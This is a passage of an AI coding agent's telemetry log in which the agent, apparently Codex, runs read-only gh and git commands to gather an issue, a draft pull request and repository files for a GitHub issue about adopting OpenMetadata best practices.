1ed867\n[2026-07-12T04:02:36.152Z] [INFO] Wall time: 0.7095 seconds\n[2026-07-12T04:02:36.152Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:36.152Z] [INFO] Original token count: 329\n[2026-07-12T04:02:36.152Z] [INFO] Output:\n[2026-07-12T04:02:36.152Z] [INFO] {\"assignees\":[],\"author\":{\"id\":\"MDQ6VXNlcjE0MzE5MDQ=\",\"is_bot\":false,\"login\":\"konard\",\"name\":\"Konstantin Diachenko\"},\"body\":\"We need to collect data related about the issue to this repository, make sure we compile that data to `./docs/case-studies/issue-{id}` folder, and use it to do deep case study analysis (also make sure to search online for additional facts and data), list of each and all requirements from the issue, and propose possible solutions and solution plans for each requirement (we should also check known existing components/libraries, that solve similar problem or can help in solutions).\\n\\nPlease plan and execute everything in this single pull request, you have unlimited time and context, as context auto-compacts and you can continue indefinitely, until it is each and every requirement fully addressed, and everything is totally done.\",\"comments\":[],\"labels\":[{\"id\":\"LA_kwDOSNlfVs8AAAACg6iINA\",\"name\":\"documentation\",\"description\":\"Improvements or additions to documentation\",\"color\":\"0075ca\"},{\"id\":\"LA_kwDOSNlfVs8AAAACg6iITw\",\"name\":\"enhancement\",\"description\":\"New feature or request\",\"color\":\"a2eeef\"}],\"number\":5,\"state\":\"OPEN\",\"title\":\"We should use best practices from https://github.com/open-metadata/OpenMetadata\",\"url\":\"https://github.com/link-foundation/meta-ontology/issues/5\"}\n[2026-07-12T04:02:36.152Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:36.129Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.152Z] [INFO] \n[2026-07-12T04:02:36.185Z] [INFO] 2026-07-12T04:02:36.130009Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-cdf5f293-0ec8-4592-aa10-4e610205424c duration_ms=964 success=true arguments_length=225 output_length=1420 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:36.130Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.185Z] [INFO] \n[2026-07-12T04:02:36.208Z] [INFO] 2026-07-12T04:02:36.206220Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-8df2004e-865f-43f6-8266-118bbff060a3 arguments={\"cmd\":\"gh api repos/link-foundation/meta-ontology/pulls/6/reviews --paginate\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=880 success=true output=Chunk ID: de0e15\n[2026-07-12T04:02:36.208Z] [INFO] Wall time: 0.6139 seconds\n[2026-07-12T04:02:36.208Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:36.208Z] [INFO] Original token count: 1\n[2026-07-12T04:02:36.208Z] [INFO] Output:\n[2026-07-12T04:02:36.208Z] [INFO] [] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:36.206Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.208Z] [INFO] 2026-07-12T04:02:36.206270Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-8df2004e-865f-43f6-8266-118bbff060a3 duration_ms=880 success=true arguments_length=174 output_length=104 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:36.206Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.208Z] [INFO] \n[2026-07-12T04:02:36.229Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_10\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/link-foundation/meta-ontology/pulls/6/comments --paginate'\",\"aggregated_output\":\"[]\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:36.229Z] [INFO] \n[2026-07-12T04:02:36.231Z] [INFO] 2026-07-12T04:02:36.217631Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-f00aa585-5d64-49b0-9616-1fb5707a0d2c arguments={\"cmd\":\"gh api repos/link-foundation/meta-ontology/issues/6/comments --paginate\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=901 success=true output=Chunk ID: caf0b0\n[2026-07-12T04:02:36.231Z] [INFO] Wall time: 0.6302 seconds\n[2026-07-12T04:02:36.231Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:36.231Z] [INFO] Original token count: 1\n[2026-07-12T04:02:36.231Z] [INFO] Output:\n[2026-07-12T04:02:36.231Z] [INFO] [] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:36.217Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.231Z] [INFO] 2026-07-12T04:02:36.217753Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-f00aa585-5d64-49b0-9616-1fb5707a0d2c duration_ms=901 success=true arguments_length=176 output_length=104 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:36.217Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.231Z] [INFO] \n[2026-07-12T04:02:36.235Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_4\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh issue view 5 --repo link-foundation/meta-ontology --json number,title,body,state,author,labels,assignees,comments,url'\",\"aggregated_output\":\"{\\\"assignees\\\":[],\\\"author\\\":{\\\"id\\\":\\\"MDQ6VXNlcjE0MzE5MDQ=\\\",\\\"is_bot\\\":false,\\\"login\\\":\\\"konard\\\",\\\"name\\\":\\\"Konstantin Diachenko\\\"},\\\"body\\\":\\\"We need to collect data related about the issue to this repository, make sure we compile that data to `./docs/case-studies/issue-{id}` folder, and use it to do deep case study analysis (also make sure to search online for additional facts and data), list of each and all requirements from the issue, and propose possible solutions and solution plans for each requirement (we should also check known existing components/libraries, that solve similar problem or can help in solutions).\\\\n\\\\nPlease plan and execute everything in this single pull request, you have unlimited time and context, as context auto-compacts and you can continue indefinitely, until it is each and every requirement fully addressed, and everything is totally done.\\\",\\\"comments\\\":[],\\\"labels\\\":[{\\\"id\\\":\\\"LA_kwDOSNlfVs8AAAACg6iINA\\\",\\\"name\\\":\\\"documentation\\\",\\\"description\\\":\\\"Improvements or additions to documentation\\\",\\\"color\\\":\\\"0075ca\\\"},{\\\"id\\\":\\\"LA_kwDOSNlfVs8AAAACg6iITw\\\",\\\"name\\\":\\\"enhancement\\\",\\\"description\\\":\\\"New feature or request\\\",\\\"color\\\":\\\"a2eeef\\\"}],\\\"number\\\":5,\\\"state\\\":\\\"OPEN\\\",\\\"title\\\":\\\"We should use best practices from https://github.com/open-metadata/OpenMetadata\\\",\\\"url\\\":\\\"https://github.com/link-foundation/meta-ontology/issues/5\\\"}\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:36.235Z] [INFO] \n[2026-07-12T04:02:36.240Z] [INFO] 2026-07-12T04:02:36.240355Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-958e4ced-5c59-4c9e-9db0-d359d7c09411 arguments={\"cmd\":\"gh api repos/link-foundation/meta-ontology/issues/5/comments --paginate\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=1068 success=true output=Chunk ID: dd2a2b\n[2026-07-12T04:02:36.240Z] [INFO] Wall time: 0.8180 seconds\n[2026-07-12T04:02:36.240Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:36.240Z] [INFO] Original token count: 1\n[2026-07-12T04:02:36.240Z] [INFO] Output:\n[2026-07-12T04:02:36.240Z] [INFO] [] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:36.240Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.240Z] [INFO] \n[2026-07-12T04:02:36.242Z] [INFO] 2026-07-12T04:02:36.241404Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-958e4ced-5c59-4c9e-9db0-d359d7c09411 duration_ms=1068 success=true arguments_length=176 output_length=104 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:36.241Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.242Z] [INFO] \n[2026-07-12T04:02:36.279Z] [INFO] 2026-07-12T04:02:36.278565Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:36.279Z] [INFO] \n[2026-07-12T04:02:36.295Z] [INFO] 2026-07-12T04:02:36.295122Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:36.295Z] [INFO] \n[2026-07-12T04:02:36.303Z] [INFO] 2026-07-12T04:02:36.301998Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:36.303Z] [INFO] \n[2026-07-12T04:02:36.311Z] [INFO] 2026-07-12T04:02:36.306331Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:36.311Z] [INFO] \n[2026-07-12T04:02:36.313Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_9\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/link-foundation/meta-ontology/pulls/6/reviews --paginate'\",\"aggregated_output\":\"[]\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:36.313Z] [INFO] \n[2026-07-12T04:02:36.329Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_8\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/link-foundation/meta-ontology/issues/6/comments --paginate'\",\"aggregated_output\":\"[]\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:36.329Z] [INFO] \n[2026-07-12T04:02:36.341Z] [INFO] 2026-07-12T04:02:36.338573Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-6a99f2e8-ef70-439e-a829-354a0c53e468 arguments={\"cmd\":\"gh pr view 6 --repo link-foundation/meta-ontology --json number,title,body,state,isDraft,author,baseRefName,headRefName,mergeable,mergeStateStatus,statusCheckRollup,commits,files,url\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=1097 success=true output=Chunk ID: 1efcc0\n[2026-07-12T04:02:36.341Z] [INFO] Wall time: 0.7667 seconds\n[2026-07-12T04:02:36.341Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:36.341Z] [INFO] Original token count: 589\n[2026-07-12T04:02:36.341Z] [INFO] Output:\n[2026-07-12T04:02:36.341Z] [INFO] {\"author\":{\"id\":\"MDQ6VXNlcjE0MzE5MDQ=\",\"is_bot\":false,\"login\":\"konard\",\"name\":\"Konstantin Diachenko\"},\"baseRefName\":\"main\",\"body\":\"## \ud83e\udd16 AI-Powered Solution Draft\\n\\nThis pull request is being automatically generated to solve issue #5.\\n\\n### \ud83d\udccb Issue Reference\\nFixes #5\\n\\n### \ud83d\udea7 Status\\n**Work in Progress** - The AI assistant is currently analyzing and implementing the solution draft.\\n\\n### \ud83d\udcdd Implementation Details\\n_Details will be added as the solution draft is developed..._\\n\\n---\\n*This PR was created automatically by the AI issue solver*\",\"commits\":[{\"authoredDate\":\"2026-07-12T04:01:46Z\",\"authors\":[{\"email\":\"drakonard@gmail.com\",\"id\":\"MDQ6VXNlcjE0MzE5MDQ=\",\"login\":\"konard\",\"name\":\"konard\"}],\"committedDate\":\"2026-07-12T04:01:46Z\",\"messageBody\":\"Adding .gitkeep for PR creation (default mode).\\nThis file will be removed when the task is complete.\\n\\nIssue: https://github.com/link-foundation/meta-ontology/issues/5\",\"messageHeadline\":\"Initial commit with task details\",\"oid\":\"e4a**********************************43d\"}],\"files\":[{\"path\":\".gitkeep\",\"additions\":1,\"deletions\":0,\"changeType\":\"ADDED\"}],\"headRefName\":\"issue-5-e2602184e2c5\",\"isDraft\":true,\"mergeStateStatus\":\"UNSTABLE\",\"mergeable\":\"MERGEABLE\",\"number\":6,\"state\":\"OPEN\",\"statusCheckRollup\":[{\"__typename\":\"CheckRun\",\"completedAt\":\"0001-01-01T00:00:00Z\",\"conclusion\":\"\",\"detailsUrl\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613481865\",\"name\":\"Detect Changes\",\"startedAt\":\"2026-07-12T04:02:02Z\",\"status\":\"IN_PROGRESS\",\"workflowName\":\"CI/CD Pipeline\"},{\"__typename\":\"CheckRun\",\"completedAt\":\"0001-01-01T00:00:00Z\",\"conclusion\":\"\",\"detailsUrl\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613481872\",\"name\":\"Version Modification Check\",\"startedAt\":\"2026-07-12T04:02:01Z\",\"status\":\"IN_PROGRESS\",\"workflowName\":\"CI/CD Pipeline\"},{\"__typename\":\"CheckRun\",\"completedAt\":\"2026-07-12T04:01:5\n[2026-07-12T04:02:36.341Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:36.338Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.341Z] [INFO] 2026-07-12T04:02:36.338644Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-6a99f2e8-ef70-439e-a829-354a0c53e468 duration_ms=1097 success=true arguments_length=287 output_length=2086 output_line_count=7 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:36.338Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.341Z] [INFO] \n[2026-07-12T04:02:36.352Z] [INFO] 2026-07-12T04:02:36.351261Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_0Pxj9KE5sHlOquC086wVDtFa arguments=const cmds = [\n[2026-07-12T04:02:36.352Z] [INFO]   [\"issue\",\"gh issue view 5 --repo link-foundation/meta-ontology --json number,title,body,state,author,labels,assignees,comments,url\"],\n[2026-07-12T04:02:36.352Z] [INFO]   [\"issue_comments\",\"gh api repos/link-foundation/meta-ontology/issues/5/comments --paginate\"],\n[2026-07-12T04:02:36.352Z] [INFO]   [\"pr\",\"gh pr view 6 --repo link-foundation/meta-ontology --json number,title,body,state,isDraft,author,baseRefName,headRefName,mergeable,mergeStateStatus,statusCheckRollup,commits,files,url\"],\n[2026-07-12T04:02:36.352Z] [INFO]   [\"pr_inline\",\"gh api repos/link-foundation/meta-ontology/pulls/6/comments --paginate\"],\n[2026-07-12T04:02:36.352Z] [INFO]   [\"pr_conversation\",\"gh api repos/link-foundation/meta-ontology/issues/6/comments --paginate\"],\n[2026-07-12T04:02:36.352Z] [INFO]   [\"pr_reviews\",\"gh api repos/link-foundation/meta-ontology/pulls/6/reviews --paginate\"],\n[2026-07-12T04:02:36.352Z] [INFO]   [\"repo\",\"git remote -v && git log --oneline --decorate -12 && sed -n '1,240p' CONTRIBUTING.md && sed -n '1,220p' README.md\"]\n[2026-07-12T04:02:36.352Z] [INFO] ];\n[2026-07-12T04:02:36.352Z] [INFO] const results = await Promise.all(cmds.map(async ([name,cmd]) => [name, await tools.exec_command({cmd,workdir:\"/tmp/gh-issue-solver-1783828904396\",yield_time_ms:30000,max_output_tokens:30000})]));\n[2026-07-12T04:02:36.352Z] [INFO] for (const [name,r] of results) { text(`===== ${name} =====\\n${r.output}`); }\n[2026-07-12T04:02:36.352Z] [INFO]  duration_ms=1280 success=true output=Script completed\n[2026-07-12T04:02:36.352Z] [INFO] Wall time 1.3 seconds\n[2026-07-12T04:02:36.352Z] [INFO] Output:\n[2026-07-12T04:02:36.352Z] [INFO] \n[2026-07-12T04:02:36.352Z] [INFO] ===== issue =====\n[2026-07-12T04:02:36.352Z] [INFO] {\"assignees\":[],\"author\":{\"id\":\"MDQ6VXNlcjE0MzE5MDQ=\",\"is_bot\":false,\"login\":\"konard\",\"name\":\"Konstantin Diachenko\"},\"body\":\"We need to collect data related about the issue to this repository, make sure we compile that data to `./docs/case-studies/issue-{id}` folder, and use it to do deep case study analysis (also make sure to search online for additional facts and data), list of each and all requirements from the issue, and propose possible solutions and solution plans for each requirement (we should also check known existing components/libraries, that solve similar problem or can help in solutions).\\n\\nPlease plan and execute everything in this single pull request, you have unlimited time and context, as context auto-compacts and you can continue indefinitely, until it is each and every requirement fully addressed, and everything is totally done.\",\"comments\":[],\"labels\":[{\"id\":\"LA_kwDOSNlfVs8AAAACg6iINA\",\"name\":\"documentation\",\"description\":\"Improvements or additions to documentation\",\"color\":\"0075ca\"},{\"id\":\"LA_kwDOSNlfVs8AAAACg6iITw\",\"name\":\"enhancement\",\"description\":\"New feature or request\",\"color\":\"a2eeef\"}],\"number\":5,\"state\":\"OPEN\",\"title\":\"We should use best practices from https://github.com/open-metadata/OpenMetadata\",\"url\":\"https://github.com/link-foundation/meta-ontology/issues/5\"}\n[2026-07-12T04:02:36.352Z] [INFO] \n[2026-07-12T04:02:36.352Z] [INFO] ===== issue_comments =====\n[2026-07-12T04:02:36.352Z] [INFO] []\n[2026-07-12T04:02:36.352Z] [INFO] ===== pr =====\n[2026-07-12T04:02:36.352Z] [INFO] {\"author\":{\"id\":\"MDQ6VXNlcjE0MzE5MDQ=\",\"is_bot\":false,\"login\":\"konard\",\"name\":\"Konstantin Diachenko\"},\"baseRefName\":\"main\",\"body\":\"## \ud83e\udd16 AI-Powered Solution Draft\\n\\nThis pull request is being automatically generated to solve issue #5.\\n\\n### \ud83d\udccb Issue Reference\\nFixes #5\\n\\n### \ud83d\udea7 Status\\n**Work in Progress** - The AI assistant is currently analyzing and implementing the solution draft.\\n\\n### \ud83d\udcdd Implementation Details\\n_Details will be added as the solution draft is developed..._\\n\\n---\\n*This PR was created automatically by the AI issue solver*\",\"commits\":[{\"authoredDate\":\"2026-07-12T04:01:46Z\",\"authors\n[2026-07-12T04:02:36.352Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:36.351Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.352Z] [INFO] 2026-07-12T04:02:36.351316Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_0Pxj9KE5sHlOquC086wVDtFa duration_ms=1280 success=true arguments_length=1124 output_length=2086 output_line_count=12 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:36.351Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.352Z] [INFO] \n[2026-07-12T04:02:36.378Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_5\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/link-foundation/meta-ontology/issues/5/comments --paginate'\",\"aggregated_output\":\"[]\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:36.378Z] [INFO] \n[2026-07-12T04:02:36.382Z] [INFO] 2026-07-12T04:02:36.352388Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_0Pxj9KE5sHlOquC086wVDtFa tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=1282 total_duration_ms=1282\n[2026-07-12T04:02:36.382Z] [INFO] \n[2026-07-12T04:02:36.395Z] [INFO] 2026-07-12T04:02:36.394647Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:36.395Z] [INFO] 2026-07-12T04:02:36.394738Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:36 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"ffacf70d-3311-4453-a5d0-217bb0f88cee\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=8jWWA1V%2BQkYlWdscz68hFmPStvbRkcp5i0tg%2Bu%2BYGO5vfnIJ2DN%2B0gqRvpIh%2F46tPzqPmPdFJKceXJGoiCnUBYoBoeerzCl2lSQ8Jfmyh98T2DYTqaB68ZJwv0fI\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d274109e6dc84-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:36.395Z] [INFO] \n[2026-07-12T04:02:36.425Z] [INFO] 2026-07-12T04:02:36.422617Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:02:36.425Z] [INFO] \n[2026-07-12T04:02:36.430Z] [INFO] 2026-07-12T04:02:36.428623Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:02:36.428Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.430Z] [INFO] \n[2026-07-12T04:02:36.435Z] [INFO] 2026-07-12T04:02:36.432166Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:02:36.430Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.435Z] [INFO] 2026-07-12T04:02:36.432255Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:02:36.435Z] [INFO] 